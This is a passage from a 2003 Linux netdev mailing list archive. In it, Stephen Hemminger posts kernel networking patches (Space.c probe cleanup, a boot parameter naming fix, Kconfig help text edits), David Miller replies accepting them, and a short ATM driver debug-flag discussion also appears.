pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBFbFx030376 for ; Tue, 23 Sep 2003 04:15:37 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA32672; Tue, 23 Sep 2003 04:02:43 -0700 Date: Tue, 23 Sep 2003 04:02:43 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (3/3) rtnetlink -- ASSERT_RTNL and BUG_TRAP Message-Id: <20030923040243.30a034a3.davem@redhat.com> In-Reply-To: <20030922163946.5854bb8e.shemminger@osdl.org> References: <20030922163946.5854bb8e.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 168 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 317 Lines: 10 On Mon, 22 Sep 2003 16:39:46 -0700 Stephen Hemminger wrote: > Change ASSERT_RTNL and BUG_TRAP > - unlikely to occur > - tag message as error > - dump_stack in ASSERT_RTNL to aide finding code path > - make all format's which a smart compiler can optimize Looks good to me, applied thanks. From chas@cmf.nrl.navy.mil Tue Sep 23 04:42:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 04:43:00 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NBgsFx002146 for ; Tue, 23 Sep 2003 04:42:55 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8NBgfkT023226; Tue, 23 Sep 2003 07:42:41 -0400 (EDT) Message-Id: <200309231142.h8NBgfkT023226@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: hch@infradead.org, netdev@oss.sgi.com, mitch@sfgoth.com Subject: Re: [PATCH][ATM]: [lanai] ioctl only meant for debugging (from mitch@sfgoth.com) In-Reply-To: Message from "David S. Miller" of "Tue, 23 Sep 2003 03:57:29 PDT." <20030923035729.2aa1afd6.davem@redhat.com> Date: Tue, 23 Sep 2003 07:42:42 -0400 From: chas williams X-Spam-Score: () hits=-6.8 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 169 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 720 Lines: 21 In message <20030923035729.2aa1afd6.davem@redhat.com>,"David S. Miller" writes: >On Mon, 22 Sep 2003 13:55:07 -0400 >chas williams wrote: > >> i suppose i am not convinced that two #ifdef/#endif's are better than an >> #if/#else/#endif > >True, but how about we use an LANAI_DEBUG or something instead of "#if >0" that can sit undef'd at the top of the file? i suppose i might suggest DEBUG_RW which already exists in the code. /* * Debug _all_ register operations with card, except the memory test. * Also disables the timed poll to prevent extra chattiness. This * isn't for normal use */ #undef DEBUG_RW DEBUG seems to be typically defined so isnt a great choice. any comments mitch? From shemminger@osdl.org Tue Sep 23 10:11:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 10:12:06 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NHBuFx025339 for ; Tue, 23 Sep 2003 10:11:57 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NHBe112783; Tue, 23 Sep 2003 10:11:40 -0700 Date: Tue, 23 Sep 2003 10:11:16 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (1/3) Space.c -- alloc_divert_blk not needed here. Message-Id: <20030923101116.5c5bea3b.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 170 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 981 Lines: 33 No longer need to alloc_divert_blk in probe process because the network probe code now calls register_netdevice which does it if necessary. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 09:36:52 2003 +++ b/drivers/net/Space.c Tue Sep 23 09:36:52 2003 @@ -125,22 +125,14 @@ { struct devprobe *p = plist; unsigned long base_addr = dev->base_addr; - int ret; while (p->probe != NULL) { - if (base_addr && p->probe(dev) == 0) { /* probe given addr */ - ret = alloc_divert_blk(dev); - if (ret) - return ret; + if (base_addr && p->probe(dev) == 0) /* probe given addr */ return 0; - } else if (p->status == 0) { /* has autoprobe failed yet? */ + else if (p->status == 0) { /* has autoprobe failed yet? */ p->status = p->probe(dev); /* no, try autoprobe */ - if (p->status == 0) { - ret = alloc_divert_blk(dev); - if (ret) - return ret; + if (p->status == 0) return 0; - } } p++; } From shemminger@osdl.org Tue Sep 23 10:13:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 10:13:18 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NHDDFx025479 for ; Tue, 23 Sep 2003 10:13:13 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NHCx113227; Tue, 23 Sep 2003 10:13:00 -0700 Date: Tue, 23 Sep 2003 10:12:35 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (2/3) Space.c -- update comment Message-Id: <20030923101235.54120264.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 171 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1123 Lines: 27 Keep comments and current status in sync. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 09:37:04 2003 +++ b/drivers/net/Space.c Tue Sep 23 09:37:04 2003 @@ -12,18 +12,15 @@ * Donald J. Becker, * * Changelog: + * Stephen Hemminger (09/2003) + * - get rid of pre-linked dev list, dynamic device allocation * Paul Gortmaker (03/2002) - - struct init cleanup, enable multiple ISA autoprobes. + * - struct init cleanup, enable multiple ISA autoprobes. * Arnaldo Carvalho de Melo - 09/1999 * - fix sbni: s/device/net_device/ * Paul Gortmaker (06/98): * - sort probes in a sane way, make sure all (safe) probes * get run once & failed autoprobes don't autoprobe again. - * - * FIXME: - * Phase out placeholder dev entries put in the linked list - * here in favour of drivers using init_etherdev(NULL, ...) - * combined with a single find_all_devs() function (for 2.3) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License From shemminger@osdl.org Tue Sep 23 10:15:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 10:15:31 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NHFPFx026027 for ; Tue, 23 Sep 2003 10:15:25 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NHFC113803; Tue, 23 Sep 2003 10:15:12 -0700 Date: Tue, 23 Sep 2003 10:14:48 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (3/3) Space.c -- fix boot param string setup Message-Id: <20030923101448.71ea19d5.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 172 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2569 Lines: 108 My conversion of probing to dynamic allocation, lost the ability to set boot parameters properly. Need to assign network device name before lookup in order for this to work. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 09:36:37 2003 +++ b/drivers/net/Space.c Tue Sep 23 09:36:37 2003 @@ -103,7 +103,7 @@ extern int iph5526_probe(struct net_device *dev); /* SBNI adapters */ -extern int sbni_probe(void); +extern int sbni_probe(int unit); struct devprobe { @@ -338,7 +338,7 @@ * per bus interface. This drives the legacy devices only for now. */ -static int __init ethif_probe(void) +static int __init ethif_probe(int unit) { struct net_device *dev; int err = -ENODEV; @@ -347,6 +347,7 @@ if (!dev) return -ENOMEM; + sprintf(dev->name, "eth%d", unit); netdev_boot_setup_check(dev); /* @@ -383,7 +384,7 @@ extern int proteon_probe(struct net_device *); extern int smctr_probe(struct net_device *); -static __init int trif_probe(void) +static __init int trif_probe(int unit) { struct net_device *dev; int err = -ENODEV; @@ -392,6 +393,7 @@ if (!dev) return -ENOMEM; + sprintf(dev->name, "tr%d", unit); netdev_boot_setup_check(dev); if ( #ifdef CONFIG_IBMTR @@ -435,16 +437,16 @@ #ifdef CONFIG_SBNI for (num = 0; num < 8; ++num) - if (sbni_probe()) + if (sbni_probe(num)) break; #endif #ifdef CONFIG_TR for (num = 0; num < 8; ++num) - if (trif_probe()) + if (trif_probe(num)) break; #endif for (num = 0; num < 8; ++num) - if (ethif_probe()) + if (ethif_probe(num)) break; #ifdef CONFIG_COPS cops_probe(0); diff -Nru a/drivers/net/wan/sbni.c b/drivers/net/wan/sbni.c --- a/drivers/net/wan/sbni.c Tue Sep 23 09:36:37 2003 +++ b/drivers/net/wan/sbni.c Tue Sep 23 09:36:37 2003 @@ -221,24 +221,26 @@ SET_MODULE_OWNER( dev ); } -int __init sbni_probe(void) +int __init sbni_probe(int unit) { struct net_device *dev; static unsigned version_printed __initdata = 0; + int err; - if( version_printed++ == 0 ) - printk( KERN_INFO "%s", version ); - - dev = alloc_netdev(sizeof(struct net_local), "sbni%d", sbni_devsetup); + dev = alloc_netdev(sizeof(struct net_local), "sbni", sbni_devsetup); if (!dev) return -ENOMEM; + sprintf(dev->name, "sbni%d", unit); netdev_boot_setup_check(dev); - if (register_netdev(dev)) { - kfree(dev); - return -ENODEV; + err = register_netdev(dev); + if (err) { + free_netdev(dev); + return err; } + if( version_printed++ == 0 ) + printk( KERN_INFO "%s", version ); return 0; } From davem@pizda.ninka.net Tue Sep 23 12:11:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 12:11:20 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NJBDFx032478 for ; Tue, 23 Sep 2003 12:11:13 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA02051; Tue, 23 Sep 2003 11:58:15 -0700 Date: Tue, 23 Sep 2003 11:58:15 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (1/3) Space.c -- alloc_divert_blk not needed here. Message-Id: <20030923115815.72819433.davem@redhat.com> In-Reply-To: <20030923101116.5c5bea3b.shemminger@osdl.org> References: <20030923101116.5c5bea3b.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 173 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 260 Lines: 8 On Tue, 23 Sep 2003 10:11:16 -0700 Stephen Hemminger wrote: > No longer need to alloc_divert_blk in probe process because > the network probe code now calls register_netdevice which does it > if necessary. Nice simplification, applied. From davem@pizda.ninka.net Tue Sep 23 12:11:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 12:11:50 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NJBjFx032572 for ; Tue, 23 Sep 2003 12:11:45 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA02073; Tue, 23 Sep 2003 11:58:45 -0700 Date: Tue, 23 Sep 2003 11:58:45 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (2/3) Space.c -- update comment Message-Id: <20030923115845.7f247e2f.davem@redhat.com> In-Reply-To: <20030923101235.54120264.shemminger@osdl.org> References: <20030923101235.54120264.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 174 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 137 Lines: 6 On Tue, 23 Sep 2003 10:12:35 -0700 Stephen Hemminger wrote: > Keep comments and current status in sync. Applied. From davem@pizda.ninka.net Tue Sep 23 12:13:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 12:13:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NJD2Fx000610 for ; Tue, 23 Sep 2003 12:13:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA02103; Tue, 23 Sep 2003 12:00:05 -0700 Date: Tue, 23 Sep 2003 12:00:05 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (3/3) Space.c -- fix boot param string setup Message-Id: <20030923120005.2f47f72a.davem@redhat.com> In-Reply-To: <20030923101448.71ea19d5.shemminger@osdl.org> References: <20030923101448.71ea19d5.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 175 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 403 Lines: 11 On Tue, 23 Sep 2003 10:14:48 -0700 Stephen Hemminger wrote: > My conversion of probing to dynamic allocation, lost the ability to > set boot parameters properly. Need to assign network device name before > lookup in order for this to work. Applied. Something similar is needed for all the ISA etc. ethernet drivers too. In particular 3c509.c is busted in this area currently. From shemminger@osdl.org Tue Sep 23 13:01:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 13:01:34 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NK1EFx005641 for ; Tue, 23 Sep 2003 13:01:15 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NJ6t107970; Tue, 23 Sep 2003 12:06:55 -0700 Date: Tue, 23 Sep 2003 12:06:31 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] get rid of references to modules.txt Message-Id: <20030923120631.1a921506.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 176 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 59531 Lines: 1406 For 2.6.0-test5, cleanup of config help. Unify all references to building a module, and get rid of references to modules.txt diff -Nru a/drivers/net/Kconfig b/drivers/net/Kconfig --- a/drivers/net/Kconfig Tue Sep 23 12:05:46 2003 +++ b/drivers/net/Kconfig Tue Sep 23 12:05:46 2003 @@ -53,9 +53,7 @@ Administrator's Guide, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . The module + To compile this driver as a module, say M here: the module will be called dummy. If you want to use more than one dummy device at a time, you need to compile this driver as a module. Instead of 'dummy', the devices will then be called 'dummy0', @@ -78,9 +76,7 @@ This is similar to the EQL driver, but it merges Ethernet segments instead of serial lines. - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . The module + To compile this driver as a module, say M here: the module will be called bonding. config EQUALIZER @@ -100,11 +96,8 @@ section 6.2 of the NET-3-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called eql. If you want to compile it as a - module, say M here and read . If - unsure, say N. + To compile this driver as a module, say M here: the module + will be called eql. If unsure, say N. config TUN tristate "Universal TUN/TAP device driver support" @@ -124,10 +117,8 @@ Please read for more information. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called tun. If you want to compile it as a - module, say M here and read . + To compile this driver as a module, say M here: the module + will be called tun. If you don't know what to use this for, you don't need it. @@ -149,10 +140,8 @@ Ethernet device. Please read the file for more information. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ethertap. If you want to compile it as a - module, say M here and read . + To compile this driver as a module, say M here: the module + will be called ethertap. If you don't know what to use this for, you don't need it. @@ -231,10 +220,8 @@ motherboard will usually use a MACE (Medium Access Control for Ethernet) interface. Say Y to include support for the MACE chip. - This driver is also available as a module called mace ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called mace. config MACE_AAUI_PORT bool "Use AAUI port instead of TP by default" @@ -254,10 +241,8 @@ Say Y for support of BMAC Ethernet interfaces. These are used on G3 computers. - This driver is also available as a module called bmac ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called bmac. config OAKNET tristate "National DP83902AV (Oak ethernet) support" @@ -265,10 +250,8 @@ help Say Y if your machine has this type of Ethernet network card. - This driver is also available as a module called oaknet ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called oaknet. config ARIADNE tristate "Ariadne support" @@ -277,10 +260,8 @@ If you have a Village Tronic Ariadne Ethernet adapter, say Y. Otherwise, say N. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you - want). The module is called ariadne. If you want to compile it as - a module, say M here and read . + To compile this driver as a module, say M here: the module + will be called ariadne. config A2065 tristate "A2065 support" @@ -289,10 +270,8 @@ If you have a Commodore A2065 Ethernet adapter, say Y. Otherwise, say N. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you - want). The module is called a2065. If you want to compile it as a - module, say M here and read . + To compile this driver as a module, say M here: the module + will be called a2065. config HYDRA tristate "Hydra support" @@ -300,10 +279,8 @@ help If you have a Hydra Ethernet adapter, say Y. Otherwise, say N. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you - want). The module is called hydra. If you want to compile it as a - module, say M here and read . + To compile this driver as a module, say M here: the module + will be called hydra. config ZORRO8390 tristate "Zorro NS8390-based Ethernet support" @@ -314,10 +291,8 @@ Computers X-Surf Ethernet cards. If you have such a card, say Y. Otherwise, say N. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module is called zorro8390. If you want to compile it as - a module, say M here and read . + To compile this driver as a module, say M here: the module + will be called zorro8390. config APNE tristate "PCMCIA NE2000 support" @@ -326,10 +301,8 @@ If you have a PCMCIA NE2000 compatible adapter, say Y. Otherwise, say N. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you - want). The module is called apne. If you want to compile it as a - module, say M here and read . + To compile this driver as a module, say M here: the module + will be called apne. config APOLLO_ELPLUS tristate "Apollo 3c505 support" @@ -358,11 +331,8 @@ read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . This module will - be called mac89x0. + To compile this driver as a module, say M here: the module + will be called mac89x0. config MACSONIC tristate "Macintosh SONIC based ethernet (onboard, NuBus, LC, CS)" @@ -374,11 +344,8 @@ one of these say Y and read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . This module will - be called macsonic. + To compile this driver as a module, say M here: the module + will be called macsonic. config MACMACE bool "Macintosh (AV) onboard MACE ethernet (EXPERIMENTAL)" @@ -394,27 +361,30 @@ depends on NETDEVICES && MVME147 help Support for the on-board Ethernet interface on the Motorola MVME147 - single-board computer. Say Y here to include the - driver for this chip in your kernel. If you want to compile it as - a module, say M here and read . + single-board computer. + + To compile this driver as a module, say M here: the module + will be called mvme1747. config MVME16x_NET tristate "MVME16x Ethernet support" depends on NETDEVICES && MVME16x help This is the driver for the Ethernet interface on the Motorola - MVME162, 166, 167, 172 and 177 boards. Say Y here to include the - driver for this chip in your kernel. If you want to compile it as - a module, say M here and read . + MVME162, 166, 167, 172 and 177 boards. + + To compile this driver as a module, say M here: the module + will be called 82596. config BVME6000_NET tristate "BVME6000 Ethernet support" depends on NETDEVICES && BVME6000 help This is the driver for the Ethernet interface on BVME4000 and - BVME6000 VME boards. Say Y here to include the driver for this chip - in your kernel. If you want to compile it as a module, say M here - and read . + BVME6000 VME boards. + + To compile this driver as a module, say M here: the module + will be called 82596. config ATARILANCE tristate "Atari Lance support" @@ -532,10 +502,8 @@ cards are based on the AMD Lance chipset, which is better known via the NE2100 cards. - This support is also available as a module called sunlance ( = - code which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called sunlance. config HAPPYMEAL tristate "Sun Happy Meal 10/100baseT support" @@ -546,10 +514,8 @@ both PCI and Sbus devices. This driver also supports the "qfe" quad 100baseT device available in both PCI and Sbus configurations. - This support is also available as a module called sunhme ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called sunhme. config SUNBMAC tristate "Sun BigMAC 10/100baseT support (EXPERIMENTAL)" @@ -558,10 +524,8 @@ This driver supports the "be" interface available as an Sbus option. This is Sun's older 100baseT Ethernet device. - This support is also available as a module called sunbmac ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called sunbmac. config SUNQE tristate "Sun QuadEthernet support" @@ -571,10 +535,8 @@ an Sbus option. Note that this is not the same as Quad FastEthernet "qfe" which is supported by the Happy Meal driver instead. - This support is also available as a module called sunqe ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called sunqe. config SUNGEM tristate "Sun GEM support" @@ -607,11 +569,8 @@ have problems. Some people suggest to ping ("man ping") a nearby machine every minute ("man cron") when using this card. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called 3c501. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called 3c501. config EL2 tristate "3c503 \"EtherLink II\" support" @@ -621,11 +580,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called 3c503. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called 3c503. config ELPLUS tristate "3c505 \"EtherLink Plus\" support" @@ -636,11 +592,8 @@ this type, say Y and read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called 3c505. + To compile this driver as a module, say M here: the module + will be called 3c505. config EL16 tristate "3c507 \"EtherLink 16\" support (EXPERIMENTAL)" @@ -650,11 +603,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called 3c507. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called 3c507. config EL3 tristate "3c509/3c529 (MCA)/3c569B (98)/3c579 \"EtherLink III\" support" @@ -668,11 +618,8 @@ setup disk to disable Plug & Play mode, and to select the default media type. - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called 3c509. + To compile this driver as a module, say M here: the module + will be called 3c509. config 3C515 tristate "3c515 ISA \"Fast EtherLink\"" @@ -682,11 +629,8 @@ network card, say Y and read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called 3c515. + To compile this driver as a module, say M here: the module + will be called 3c515. config ELMC tristate "3c523 \"EtherLink/MC\" support" @@ -696,11 +640,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called 3c523. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called 3c523. config ELMC_II tristate "3c527 \"EtherLink/MC 32\" support (EXPERIMENTAL)" @@ -710,11 +651,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called 3c527. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called 3c527. config VORTEX tristate "3c590/3c900 series (592/595/597) \"Vortex/Boomerang\" support" @@ -735,10 +673,8 @@ and in the comments at the beginning of . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . + To compile this driver as a module, say M here: the module + will be called 3c59x. config TYPHOON tristate "3cr990 series \"Typhoon\" support" @@ -754,11 +690,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called typhoon.o. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called typhoon. config LANCE tristate "AMD LANCE and PCnet (AT1500 and NE2100) support" @@ -769,10 +702,8 @@ . Some LinkSys cards are of this type. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called lance. + To compile this driver as a module, say M here: the module + will be called lance. config NET_VENDOR_SMC bool "Western Digital/SMC cards" @@ -795,11 +726,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called wd. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called wd. config ULTRAMCA tristate "SMC Ultra MCA support" @@ -809,11 +737,8 @@ an MCA based system (PS/2), say Y and read the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called smc-mca. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called smc-mca. config ULTRA tristate "SMC Ultra support" @@ -830,11 +755,8 @@ this but keep it in mind if you have such a SCSI card and have problems. - 